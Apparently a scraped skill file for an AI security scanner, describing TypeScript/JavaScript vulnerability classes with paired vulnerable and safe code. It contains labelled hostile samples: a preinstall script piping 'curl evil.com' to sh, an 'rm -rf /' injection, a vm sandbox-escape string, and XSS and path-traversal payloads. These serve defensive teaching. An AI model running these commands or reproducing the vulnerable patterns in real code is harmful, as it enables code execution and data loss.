ワンクリックで
ワンクリックで
Comprehensive AI-powered security scanning suite with 48 skills covering OWASP Top 10, 7 language-specific deep scanners (Go, TypeScript, Python, PHP, Rust, Java, C#), supply chain analysis, infrastructure-as-code scanning, and 3000+ checklist items. Use when you need to run a security audit, find vulnerabilities, scan a PR for security issues, or perform a penetration test on a codebase.
C#/.NET-specific security deep scan
Go-specific security deep scan
Java/Kotlin-specific security deep scan
PHP-specific security deep scan
Python-specific security deep scan
| name | sc-lang-typescript |
| description | TypeScript/JavaScript-specific security deep scan |
| license | MIT |
| metadata | {"author":"ersinkoc","category":"security","version":"1.0.0"} |
Detects TypeScript/JavaScript-specific security anti-patterns and language-idiomatic attack vectors across both browser and Node.js environments. This skill covers frontend frameworks (React, Next.js, Angular, Vue), backend frameworks (Express, Fastify, Koa, Nest), ORMs (Prisma, Drizzle, TypeORM, Sequelize), and the broader npm ecosystem.
Activates when TypeScript or JavaScript is detected in the project. Detection signals include:
.ts, .tsx, .js, .jsx, .mjs, .cjs extensionspackage.json, tsconfig.json, deno.json, or bun.lockb presenceprocess.env, require(), import)References references/typescript-security-checklist.md.
Description: Attackers inject properties into Object.prototype via __proto__, constructor.prototype, or recursive merge functions, poisoning every object in the runtime.
Dangerous Functions / Patterns:
obj[key] = value where key is user-controlleddeepMerge, _.merge, _.defaultsDeep with untrusted inputJSON.parse() of untrusted input followed by object spread or merge__proto__ or constructor.prototypeSafe Alternative:
Object.create(null) for lookup maps__proto__, constructor, prototypeMap instead of plain objects for user-keyed dataObject.freeze(Object.prototype) in sensitive contextsVulnerable Code:
function deepMerge(target: any, source: any) {
for (const key in source) {
if (typeof source[key] === 'object') {
target[key] = deepMerge(target[key] || {}, source[key]);
} else {
target[key] = source[key]; // __proto__.isAdmin = true
}
}
return target;
}
deepMerge({}, JSON.parse(userInput));
Safe Code:
function safeMerge(target: Record<string, unknown>, source: Record<string, unknown>) {
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);
for (const key of Object.keys(source)) {
if (FORBIDDEN.has(key)) continue;
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
target[key] = safeMerge(
(target[key] as Record<string, unknown>) ?? Object.create(null),
source[key] as Record<string, unknown>
);
} else {
target[key] = source[key];
}
}
return target;
}
Description: Dynamic code execution functions compile and run arbitrary strings, enabling full remote code execution when input is attacker-controlled.
Dangerous Functions / Patterns:
eval(userInput)new Function('return ' + userInput)()setTimeout(userInput, 1000) and setInterval(userInput, 1000) with string argumentsSafe Alternative:
JSON.parse() for data deserializationexpr-eval, mathjs with sandbox)setTimeout/setInterval, never stringsscript-src that blocks unsafe-evalVulnerable Code:
// User-supplied math expression
app.post('/calc', (req, res) => {
const result = eval(req.body.expression); // RCE
res.json({ result });
});
Safe Code:
import { Parser } from 'expr-eval';
const parser = new Parser();
app.post('/calc', (req, res) => {
try {
const expr = parser.parse(req.body.expression);
const result = expr.evaluate({});
res.json({ result });
} catch {
res.status(400).json({ error: 'Invalid expression' });
}
});
Description: Client-side JavaScript writes unsanitized user input directly into the DOM, enabling script injection without server involvement.
Dangerous Functions / Patterns:
element.innerHTML = userInputdocument.write(userInput)document.writeln(userInput)$(selector).html(userInput) (jQuery)$(userInput) (jQuery selector injection)element.outerHTML = userInputelement.insertAdjacentHTML('beforeend', userInput)Safe Alternative:
element.textContent = userInput for textDOMPurify.sanitize(userInput) before inserting HTMLVulnerable Code:
const searchTerm = new URLSearchParams(location.search).get('q');
document.getElementById('results')!.innerHTML =
`<h2>Results for: ${searchTerm}</h2>`; // XSS via ?q=<img onerror=alert(1) src=x>
Safe Code:
import DOMPurify from 'dompurify';
const searchTerm = new URLSearchParams(location.search).get('q') ?? '';
const heading = document.createElement('h2');
heading.textContent = `Results for: ${searchTerm}`;
document.getElementById('results')!.replaceChildren(heading);
Description: Spawning shell commands with user-controlled arguments enables arbitrary command execution on the server.
Dangerous Functions / Patterns:
exec(userInput) or exec('cmd ' + userInput)execSync('grep ' + pattern)spawn('sh', ['-c', userInput])Safe Alternative:
execFile() or spawn() with argument arrays (no shell)shell: false (the default for spawn)execa with explicit argument arraysVulnerable Code:
import { exec } from 'child_process';
app.get('/lookup', (req, res) => {
exec(`nslookup ${req.query.domain}`, (err, stdout) => {
res.send(stdout); // ; rm -rf / via domain parameter
});
});
Safe Code:
import { execFile } from 'child_process';
app.get('/lookup', (req, res) => {
const domain = req.query.domain as string;
if (!/^[a-zA-Z0-9.-]+$/.test(domain)) {
return res.status(400).send('Invalid domain');
}
execFile('nslookup', [domain], (err, stdout) => {
res.send(stdout);
});
});
Description: Node.js vm module does not provide a security boundary. Attackers can escape the sandbox via prototype chain traversal to access the host process object and execute arbitrary code.
Dangerous Functions / Patterns:
vm.runInNewContext(userCode)vm.createContext() with host object leakagevm.Script executing untrusted codevm or vm2 for security sandboxing (vm2 has known escapes)Safe Alternative:
isolated-vm for true V8 isolate sandboxing--allow-* permission flagsvm or vm2 for untrusted code executionVulnerable Code:
import vm from 'vm';
const sandbox = { result: null };
vm.createContext(sandbox);
vm.runInNewContext(userCode, sandbox);
// Escape: this.constructor.constructor('return process')().exit()
Safe Code:
import ivm from 'isolated-vm';
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = await isolate.createContext();
const script = await isolate.compileScript(userCode);
const result = await script.run(context, { timeout: 1000 });
isolate.dispose();
Description: Dynamic require() or import() with user-controlled paths allows loading arbitrary modules from disk or node_modules, potentially executing malicious code.
Dangerous Functions / Patterns:
require(userInput)import(userInput)require('./plugins/' + pluginName) without validationrequire.resolve(userInput) for path probingSafe Alternative:
Vulnerable Code:
app.get('/plugin/:name', (req, res) => {
const plugin = require(`./plugins/${req.params.name}`);
// ../../etc/passwd or arbitrary module load
res.json(plugin.execute());
});
Safe Code:
const ALLOWED_PLUGINS = new Map<string, Plugin>([
['markdown', markdownPlugin],
['csv', csvPlugin],
['json', jsonPlugin],
]);
app.get('/plugin/:name', (req, res) => {
const plugin = ALLOWED_PLUGINS.get(req.params.name);
if (!plugin) return res.status(404).json({ error: 'Unknown plugin' });
res.json(plugin.execute());
});
Description: Incorrect middleware ordering can bypass authentication, rate limiting, input validation, or security headers. Middleware executes in registration order, so placing auth after route handlers leaves routes unprotected.
Dangerous Functions / Patterns:
helmet() or CORS middleware placed after routesapp.use() ordering that leaves gapsSafe Alternative:
Vulnerable Code:
const app = express();
// Routes registered BEFORE auth middleware
app.get('/api/admin/users', adminController.listUsers);
app.post('/api/admin/delete', adminController.deleteUser);
// Auth middleware registered too late - above routes are unprotected
app.use(authMiddleware);
app.use(helmet());
Safe Code:
const app = express();
// Security middleware first
app.use(helmet());
app.use(cors(corsOptions));
app.use(rateLimit({ windowMs: 15 * 60 * 1000, max: 100 }));
app.use(express.json({ limit: '1mb' }));
// Auth before protected routes
app.use('/api/admin', authMiddleware, adminRouter);
app.use(errorHandler); // Error handler last
Description: Malicious packages can enter the dependency tree via typosquatting, compromised maintainer accounts, postinstall scripts, or lockfile manipulation.
Dangerous Functions / Patterns:
lodahs vs lodash)"postinstall", "preinstall", "prepare" scripts in dependenciespackage-lock.json / pnpm-lock.yaml"dependencies" including packages that should be "devDependencies"*, >=, or overly broad ranges)resolved URLs or integrity hashesSafe Alternative:
npm audit and pnpm audit regularly--ignore-scripts during CI installs, run scripts explicitlynpm config set ignore-scripts true as a defaultVulnerable Code (package.json):
{
"dependencies": {
"lodash": "*",
"colores": "^1.0.0",
"event-stream": "^3.3.0"
},
"scripts": {
"postinstall": "node ./setup.js"
}
}
Safe Code (package.json):
{
"dependencies": {
"lodash": "4.17.21",
"chalk": "5.3.0"
},
"scripts": {
"prepare": "husky"
},
"overrides": {
"optionalDependencies": {}
}
}
Description: Storing JWTs in localStorage or sessionStorage exposes them to XSS theft. Storing secrets or sensitive claims in JWT payload exposes them to any holder since JWTs are base64-encoded, not encrypted.
Dangerous Functions / Patterns:
localStorage.setItem('token', jwt)sessionStorage.setItem('token', jwt)alg: 'none' or allowing algorithm switchingiss, aud, exp claimsSafe Alternative:
httpOnly, secure, sameSite cookiesiss, aud, exp, nbf)Vulnerable Code:
// Client
const response = await fetch('/api/login', { method: 'POST', body });
const { token } = await response.json();
localStorage.setItem('authToken', token); // Accessible to any XSS payload
// Server
const token = jwt.sign(payload, secret); // No algorithm pinning
const decoded = jwt.verify(req.headers.authorization, secret);
// Algorithm confusion possible
Safe Code:
// Server: Set JWT as httpOnly cookie
const token = jwt.sign(payload, secret, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'myapp',
audience: 'myapp-api',
});
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
// Server: Verify with pinned algorithm
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'myapp',
audience: 'myapp-api',
});
as any and @ts-ignore Security BypassDescription: TypeScript type safety annotations that suppress errors (as any, @ts-ignore, @ts-expect-error, non-null assertions !) can mask security-critical type mismatches, allowing unsafe data to flow through the application unchecked.
Dangerous Functions / Patterns:
userInput as any to bypass validation types// @ts-ignore above security-critical code// @ts-expect-error to silence type errors in auth/authz logicuser!.isAdmin without actual null checkas unknown as TargetType double assertion to force incompatible typesstrict in tsconfig.jsonSafe Alternative:
strict: true in tsconfig.json@typescript-eslint/no-explicit-any, @typescript-eslint/no-non-null-assertionas any with proper type narrowing or type guards@ts-ignore in security-critical paths as high-severity findingsVulnerable Code:
function processUser(input: unknown) {
// @ts-ignore
const user = input as any;
if (user.role === 'admin') { // No runtime validation
deleteAllRecords(); // Could be triggered by crafted input
}
}
Safe Code:
import { z } from 'zod';
const UserSchema = z.object({
id: z.string().uuid(),
role: z.enum(['user', 'moderator', 'admin']),
email: z.string().email(),
});
function processUser(input: unknown) {
const result = UserSchema.safeParse(input);
if (!result.success) {
throw new ValidationError(result.error);
}
const user = result.data; // Fully typed, runtime-validated
if (user.role === 'admin') {
deleteAllRecords();
}
}
Description: React's dangerouslySetInnerHTML bypasses built-in XSS protection. In SSR contexts, unsanitized user data rendered into HTML can execute on every visitor's browser.
Dangerous Functions / Patterns:
<div dangerouslySetInnerHTML={{ __html: userInput }} /><script> tags for hydrationrenderToString() with unsanitized propshref="javascript:..." in JSX (React does not block this in all versions)Safe Alternative:
dangerouslySetInnerHTMLtextContent-equivalent patterns (React auto-escapes JSX expressions)JSON.stringify() with a replacer that escapes </script>href or srcVulnerable Code:
function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// SSR hydration - userData can break out of script tag
const html = `<script>window.__DATA__ = ${JSON.stringify(userData)};</script>`;
Safe Code:
import DOMPurify from 'isomorphic-dompurify';
function Comment({ body }: { body: string }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// SSR hydration - escape closing script tags
function serializeForScript(data: unknown): string {
return JSON.stringify(data).replace(/</g, '\\u003c');
}
const html = `<script>window.__DATA__ = ${serializeForScript(userData)};</script>`;
Description: Next.js introduces server-specific attack surfaces: Server Actions receive untrusted client input, middleware can be bypassed with path manipulation, and ISR/SSG cache can be poisoned to serve malicious content to all users.
Dangerous Functions / Patterns:
.. or encoded traversalrevalidateTag() / revalidatePath() exposed without authenticationheaders() and cookies() in Server Components used without validationredirect() with user-controlled destinations (open redirect)unstable_cache() keyed on user-controlled valuesSafe Alternative:
Vulnerable Code:
// app/actions.ts
'use server';
export async function updateProfile(formData: FormData) {
const role = formData.get('role') as string;
// User can submit role=admin
await db.user.update({ where: { id: session.userId }, data: { role } });
}
// middleware.ts
export function middleware(request: NextRequest) {
// Bypassable with /_next/.. path encoding tricks
if (request.nextUrl.pathname.startsWith('/admin')) {
return checkAuth(request);
}
}
Safe Code:
// app/actions.ts
'use server';
import { z } from 'zod';
const UpdateProfileSchema = z.object({
displayName: z.string().min(1).max(100),
bio: z.string().max(500).optional(),
// role is NOT accepted from client input
});
export async function updateProfile(formData: FormData) {
const session = await getServerSession();
if (!session) throw new Error('Unauthorized');
const input = UpdateProfileSchema.parse({
displayName: formData.get('displayName'),
bio: formData.get('bio'),
});
await db.user.update({ where: { id: session.userId }, data: input });
}
// middleware.ts - use matcher config for reliable matching
export const config = {
matcher: ['/admin/:path*', '/api/admin/:path*'],
};
Description: ORMs provide safe query builders, but raw query methods bypass parameterization when developers interpolate strings directly.
Dangerous Functions / Patterns:
prisma.$queryRawUnsafe() with string concatenationsql.raw(userInput) inside query buildersquery('SELECT ... ' + userInput)sequelize.query('SELECT ... ' + userInput)knex.raw(userInput) without bindingsSafe Alternative:
Prisma.sql tagged template for auto-parameterizationsql.placeholder() or the query builder$queryRawUnsafe and sql.raw() entirely with user inputVulnerable Code:
// Prisma
const users = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE email = '${req.query.email}'`
);
// Drizzle
const result = await db.execute(
sql`SELECT * FROM users WHERE name = ${sql.raw(req.query.name)}`
);
Safe Code:
// Prisma - tagged template auto-parameterizes
const users = await prisma.$queryRaw(
Prisma.sql`SELECT * FROM users WHERE email = ${req.query.email}`
);
// Drizzle - use query builder
const result = await db.select()
.from(users)
.where(eq(users.name, req.query.name));
Description: WebSocket messages and postMessage events are often trusted without origin validation, enabling cross-origin script injection and data exfiltration.
Dangerous Functions / Patterns:
ws.on('message', (data) => element.innerHTML = data)window.addEventListener('message', (e) => { /* no origin check */ })postMessage(data, '*') broadcasting to any originJSON.parse without schema validationSafe Alternative:
event.origin in message event handlerspostMessage(data, 'https://trusted.com')Origin header on WebSocket upgrade requests server-sideVulnerable Code:
// Client: No origin check
window.addEventListener('message', (event) => {
document.getElementById('output')!.innerHTML = event.data.html;
// XSS from any origin
});
// Server: No origin validation on upgrade
wss.on('connection', (ws, req) => {
ws.on('message', (data) => {
broadcast(data.toString()); // Relays unvalidated content
});
});
Safe Code:
// Client: Strict origin check
const TRUSTED_ORIGINS = new Set([
'https://app.example.com',
'https://widget.example.com',
]);
window.addEventListener('message', (event) => {
if (!TRUSTED_ORIGINS.has(event.origin)) return;
const parsed = MessageSchema.safeParse(event.data);
if (!parsed.success) return;
document.getElementById('output')!.textContent = parsed.data.text;
});
// Server: Validate origin on upgrade
wss.on('headers', (headers, req) => {
const origin = req.headers.origin;
if (!TRUSTED_ORIGINS.has(origin)) {
req.destroy();
}
});
Description: Regex patterns with nested quantifiers or overlapping alternation cause catastrophic backtracking when matched against crafted input, freezing the event loop.
Dangerous Functions / Patterns:
(a+)+, (a|a)+, (.*a){10}new RegExp(userInput)String.prototype.match(), .replace(), .search() with vulnerable patternsSafe Alternative:
re2 (Google's RE2 engine) which guarantees linear timesafe-regex or regexp-tree libraries to lint patternsnode:vm or worker threadsVulnerable Code:
// Catastrophic backtracking with nested quantifiers
const emailRegex = /^([a-zA-Z0-9]+\.)*[a-zA-Z0-9]+@([a-zA-Z0-9]+\.)+[a-zA-Z]{2,}$/;
app.post('/subscribe', (req, res) => {
if (emailRegex.test(req.body.email)) { // Hangs on crafted input
subscribe(req.body.email);
}
});
// User-controlled regex
const pattern = new RegExp(req.query.filter); // ReDoS + regex injection
Safe Code:
import RE2 from 're2';
const emailRegex = new RE2(/^[^\s@]+@[^\s@]+\.[^\s@]+$/);
app.post('/subscribe', (req, res) => {
const email = String(req.body.email);
if (email.length > 254) return res.status(400).send('Invalid email');
if (emailRegex.test(email)) {
subscribe(email);
}
});
// Never allow user-controlled regex - use substring matching instead
function matchFilter(input: string, filter: string): boolean {
return input.includes(filter); // Simple substring, no backtracking
}
Description: path.join() and path.resolve() resolve .. segments, allowing attackers to escape intended directories when user input is included in file paths.
Dangerous Functions / Patterns:
path.join(uploadsDir, userFilename) where filename contains ../../path.resolve(baseDir, req.params.file)fs.readFile(baseDir + '/' + userInput).. checks%00) in older Node.js versionsSafe Alternative:
path.basename() to strip directory components from filenames.., ~, or null bytesVulnerable Code:
app.get('/files/:name', (req, res) => {
const filePath = path.join('/app/uploads', req.params.name);
res.sendFile(filePath); // ../../etc/passwd escapes uploads dir
});
Safe Code:
app.get('/files/:name', (req, res) => {
const baseDir = path.resolve('/app/uploads');
const filePath = path.resolve(baseDir, req.params.name);
// Ensure resolved path is still within base directory
if (!filePath.startsWith(baseDir + path.sep)) {
return res.status(400).send('Invalid path');
}
res.sendFile(filePath);
});
Description: Math.random() uses a PRNG that is not cryptographically secure. Using it for tokens, session IDs, OTPs, or any security-sensitive value makes them predictable.
Dangerous Functions / Patterns:
Math.random().toString(36) for tokens or IDsMath.floor(Math.random() * max) for OTP generationMath.random() for security purposesMath.random() internallySafe Alternative:
crypto.randomBytes() or crypto.randomUUID() in Node.jscrypto.getRandomValues() in browsersnanoid or uuid libraries that use cryptographic randomnesscrypto.randomInt() for secure random integersVulnerable Code:
function generateToken(): string {
return Math.random().toString(36).substring(2); // Predictable
}
function generateOTP(): string {
return String(Math.floor(Math.random() * 1000000)).padStart(6, '0');
}
Safe Code:
import crypto from 'node:crypto';
function generateToken(): string {
return crypto.randomBytes(32).toString('hex');
}
function generateOTP(): string {
return String(crypto.randomInt(0, 1000000)).padStart(6, '0');
}
Description: Overly permissive CORS configurations allow malicious websites to make authenticated cross-origin requests, exfiltrate data, or perform actions on behalf of the user.
Dangerous Functions / Patterns:
origin: '*' combined with credentials: truereq.headers.origin directly as Access-Control-Allow-OriginAccess-Control-Allow-Methods: * exposing all methodsSafe Alternative:
curl from different originsVulnerable Code:
app.use(cors({
origin: (origin, callback) => {
// Bypassable: attacker uses "notexample.com"
if (origin?.includes('example.com')) {
callback(null, true);
} else {
callback(null, false);
}
},
credentials: true,
}));
Safe Code:
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com',
]);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error('CORS not allowed'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
Description: Server-side HTTP requests (fetch, axios, got, http.request) with user-controlled URLs allow attackers to probe internal networks, access cloud metadata endpoints, or exfiltrate data.
Dangerous Functions / Patterns:
fetch(req.body.url) with arbitrary user URLsaxios.get(userUrl) forwarding internal service responsesSafe Alternative:
Vulnerable Code:
app.post('/api/preview', async (req, res) => {
const { url } = req.body;
const response = await fetch(url); // SSRF
const html = await response.text();
res.json({ preview: extractMetadata(html) });
});
Safe Code:
import { URL } from 'node:url';
import dns from 'node:dns/promises';
const BLOCKED_RANGES = [
/^127\./, /^10\./, /^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./, /^169\.254\./, /^0\./, /^::1$/,
];
async function isSafeUrl(urlStr: string): Promise<boolean> {
const parsed = new URL(urlStr);
if (!['http:', 'https:'].includes(parsed.protocol)) return false;
const { address } = await dns.lookup(parsed.hostname);
return !BLOCKED_RANGES.some((r) => r.test(address));
}
app.post('/api/preview', async (req, res) => {
const { url } = req.body;
if (!await isSafeUrl(url)) {
return res.status(400).json({ error: 'URL not allowed' });
}
const response = await fetch(url, { redirect: 'error' });
const html = await response.text();
res.json({ preview: extractMetadata(html) });
});
Description: npm/pnpm lifecycle scripts (preinstall, postinstall, prepare, prepublishOnly) execute arbitrary commands during npm install. Malicious or compromised packages can use these to execute code on developer machines and CI systems.
Dangerous Functions / Patterns:
"preinstall" scripts in dependency packages that download remote payloads"postinstall": "node ./setup.js" that downloads and executes remote code.bashrc, .npmrc, or other config filesSafe Alternative:
npm install --ignore-scripts and execute needed scripts explicitlynpm config set ignore-scripts true as a global defaultpackage.json scripts of new dependencies before installingpinst to disable postinstall in published packagesallowScripts in .npmrc (npm v9+) to allowlist scripts per packageVulnerable Code (malicious dependency):
{
"name": "totally-legit-package",
"version": "1.0.0",
"scripts": {
"preinstall": "node -e \"require('child_process').execSync('curl evil.com | sh')\"",
"postinstall": "node ./scripts/setup.js"
}
}
Safe Code (.npmrc):
ignore-scripts=true
audit=true
fund=false
{
"scripts": {
"prepare": "husky",
"postinstall:manual": "prisma generate && patch-package"
}
}
Description: Using === or == to compare secrets (API keys, tokens, HMAC digests) leaks information through timing differences, as the comparison short-circuits on the first mismatched character.
Dangerous Functions / Patterns:
if (token === expectedToken) for authentication tokensif (hmac === computedHmac) for webhook signature verificationSafe Alternative:
crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b))scrypt or argon2 for password verification (they handle timing internally)Vulnerable Code:
app.post('/api/webhook', (req, res) => {
const signature = req.headers['x-webhook-signature'] as string;
const expected = computeHmac(req.body);
if (signature === expected) { // Timing leak
processWebhook(req.body);
}
});
Safe Code:
import crypto from 'node:crypto';
app.post('/api/webhook', (req, res) => {
const signature = req.headers['x-webhook-signature'] as string;
const expected = computeHmac(req.body);
const sigBuf = Buffer.from(signature, 'hex');
const expBuf = Buffer.from(expected, 'hex');
if (sigBuf.length !== expBuf.length ||
!crypto.timingSafeEqual(sigBuf, expBuf)) {
return res.status(401).send('Invalid signature');
}
processWebhook(req.body);
});
Description: Unhandled promise rejections can crash Node.js processes (default behavior in Node 15+). Detailed error messages leaked to clients expose internal paths, stack traces, and database schema information.
Dangerous Functions / Patterns:
.catch() on promises in request handlersasync Express handlers without error-catching wrapperres.status(500).json({ error: err.message, stack: err.stack })'unhandledRejection' eventsSafe Alternative:
process.on('unhandledRejection', handler) for graceful shutdownVulnerable Code:
app.get('/api/user/:id', async (req, res) => {
// No try/catch: unhandled rejection if DB fails
const user = await prisma.user.findUniqueOrThrow({
where: { id: req.params.id },
});
res.json(user);
});
// Error handler leaks internals
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
res.status(500).json({ error: err.message, stack: err.stack });
});
Safe Code:
const asyncHandler = (fn: RequestHandler): RequestHandler =>
(req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
app.get('/api/user/:id', asyncHandler(async (req, res) => {
const user = await prisma.user.findUnique({
where: { id: req.params.id },
});
if (!user) return res.status(404).json({ error: 'User not found' });
res.json(user);
}));
// Error handler: log details, return generic message
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
logger.error({ err, method: req.method, path: req.path });
res.status(500).json({ error: 'Internal server error' });
});
Description: Secrets hardcoded in source, committed .env files, or exposed via client-side bundles leak credentials. Next.js's NEXT_PUBLIC_ prefix explicitly sends variables to the browser.
Dangerous Functions / Patterns:
const API_KEY = 'sk-live-abc123...'.env files without .gitignore entriesNEXT_PUBLIC_SECRET_KEY making secrets available client-sideconsole.log(process.env) dumping all environment variablesDefinePlugin or Vite define exposing server secrets to client bundlesprocess.env valuesSafe Alternative:
NEXT_PUBLIC_ or VITE_.env* to .gitignoredotenv only in development, use proper secret injection in productionsource-map-explorerVulnerable Code:
// .env (committed to repo)
DATABASE_URL=postgres://admin:password@prod-db:5432/app
NEXT_PUBLIC_STRIPE_SECRET=sk_live_abc123
// next.config.js - leaks to client bundle
module.exports = {
env: {
DB_PASSWORD: process.env.DB_PASSWORD,
},
};
Safe Code:
// .env.local (in .gitignore)
DATABASE_URL=postgres://admin:password@localhost:5432/app
STRIPE_SECRET_KEY=sk_test_...
// Only public-safe values get the prefix
NEXT_PUBLIC_STRIPE_PUBLISHABLE=pk_live_...
// Server-only access in app/api/payment/route.ts
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);
Description: Template engines that compile user input into templates (rather than using it as data) enable remote code execution through template syntax.
Dangerous Functions / Patterns:
Handlebars.compile(userInput) compiling user-controlled template stringsejs.render(userInput, data) with user-controlled templatepug.render(userInput) with user-controlled templateautoescape: falseSafe Alternative:
autoescape: trueVulnerable Code:
app.post('/preview', (req, res) => {
const template = Handlebars.compile(req.body.template); // SSTI
const html = template({ name: 'User' });
res.send(html);
});
Safe Code:
// Pre-compiled templates only
const templates = new Map<string, HandlebarsTemplateDelegate>();
for (const file of fs.readdirSync('./templates')) {
const source = fs.readFileSync(`./templates/${file}`, 'utf8');
templates.set(path.basename(file, '.hbs'), Handlebars.compile(source));
}
app.post('/preview', (req, res) => {
const template = templates.get(req.body.templateName);
if (!template) return res.status(400).send('Unknown template');
const html = template({ name: req.body.name }); // User data as context only
res.send(html);
});
Enumerate TypeScript/JavaScript files across the project, including .ts, .tsx, .js, .jsx, .mjs, .cjs files and configuration files (tsconfig.json, package.json, .eslintrc, next.config.*).
For each vulnerability category above, search the codebase for the listed dangerous patterns using AST-aware matching when possible, falling back to regex patterns.
Classify findings by severity:
Check framework-specific configurations:
next.config.js security headers, CSP, middleware matchersVerify dependency security:
npm audit / pnpm audit analysisReport findings with file path, line number, severity, category, description, and remediation guidance referencing the safe code examples above.